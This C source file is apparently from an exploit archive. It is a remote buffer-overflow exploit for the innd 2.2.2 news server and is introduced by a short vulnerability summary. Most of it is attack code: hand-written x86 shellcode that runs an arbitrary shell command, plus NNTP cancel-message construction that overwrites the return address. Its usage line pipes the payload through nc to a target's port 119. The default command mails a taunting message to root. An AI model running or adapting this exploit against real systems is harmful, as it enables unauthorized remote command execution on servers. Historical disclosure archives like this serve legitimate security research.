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86 lines
No EOL
2.9 KiB
C
86 lines
No EOL
2.9 KiB
C
// source: https://www.securityfocus.com/bid/1316/info
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innd 2.2.2 contains a remotely exploitable buffer overflow in code reached when a cancel request is sent to the "control" newsgroup, under the following condition: the cancel request contains a valid Message-ID but the From/Sender fields differ between the cancel request and the post referenced by the Message-ID. This attack only works against machines running INN with "verifycancels = true"
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/*
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* inndx: innd remote 'news' user/group exploit
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*
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* Written on 12th June 2000 by Wojciech Purczynski
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* <wp@elzabsoft.pl> cliph/ircnet
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*
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* Bug found by Michal Zalewski.
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*
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* Tested on innd-2.2.2-3 default installation on RedHat 6.2.
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*
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* Usage:
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* ./inndx [command [offset]]|nc -i 1 target.host 119
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*/
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#include <stdio.h>
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#include <unistd.h>
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#define RETADDR 0x8138004 /* we're jumping into the body of cancel msg */
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#define BUFSIZE (256+2*4+4) /* buff + EBP + EIP + Data */
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#define JUNKSIZE strlen("\"\" wants to cancel <> by \"")
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#define NOP 0x90
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#define FAKEPTR 0xbffff1c0
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#define COMMAND "echo U have b33n h@x0r3d hahahah|mail root"
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#define BODYSIZE 999
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/* Code written by me */
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char * run_command=
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"\xeb\x3d\x5e\x89\xf7\x31\xc0\x47"
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"\x80\x3f\xff\x75\xfa\x88\x07\x47"
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"\x89\x37\x89\xf3\x46\x80\x3e\x2e"
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"\x75\xfa\x88\x06\x46\x89\x77\x04"
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"\x46\x80\x3e\x2e\x75\xfa\x88\x06"
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"\x46\x89\x77\x08\x89\x47\x0c\x89"
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"\xf9\x8d\x57\x0c\xb0\x0b\xcd\x80"
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"\x89\xc3\x31\xc0\x40\xcd\x80\xe8"
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"\xbe\xff\xff\xff/bin/sh.-c.";
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int main(int argc, char *argv[])
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{
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int retaddr=RETADDR;
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char messageid[256];
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char sender[16];
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char body[BODYSIZE];
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char * command=COMMAND;
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int midsize;
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int i;
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if (argc>1) command=argv[1];
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if (argc>2) retaddr+=atoi(argv[2]);
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memset(sender, 0, sizeof(sender));
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strcpy(sender+0, "a@a."); /* EBP */
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*(long*)(sender+4)=(long)retaddr; /* EIP */
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*(long*)(sender+8)=(long)RETADDR+1000; /* Data */
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memset(messageid, 'a', sizeof(messageid));
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sprintf(messageid, "%s@a", tmpnam(NULL)+9);
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messageid[strlen(messageid)]='a';
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messageid[BUFSIZE-JUNKSIZE-5-strlen(sender)]=0;
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memset(body, NOP, sizeof(body));
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strcpy(body+sizeof(body)-strlen(run_command)-strlen(command)-2, run_command);
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strcat(body, command);
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strcat(body, "\xff");
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fprintf(stderr, "RETADDR=%p\n", retaddr);
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fprintf(stderr, "COMMAND=%s\n", command);
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printf("mode reader\r\ngroup test\r\npost\r\n");
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printf("Message-ID: <%s>\r\n", messageid);
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printf("From: %s\r\nSender: %s\r\n", sender, sender);
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printf("Newsgroups: test\r\n");
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printf("Subject: blah\r\n");
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printf("\r\nblah\r\n.\r\n");
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printf("group control\r\npost\r\n");
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printf("Message-ID: <%s@test>\r\n", tmpnam(NULL)+9);
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printf("From: a@b.c\r\nSender: a@b.c\r\n");
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printf("Control: cancel <%s>\r\n", messageid);
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printf("Subject: cmsg cancel <%s>\r\n", messageid);
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printf("Newsgroups: control\r\n\r\n%s\r\n.\r\nquit\r\n", body);
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} |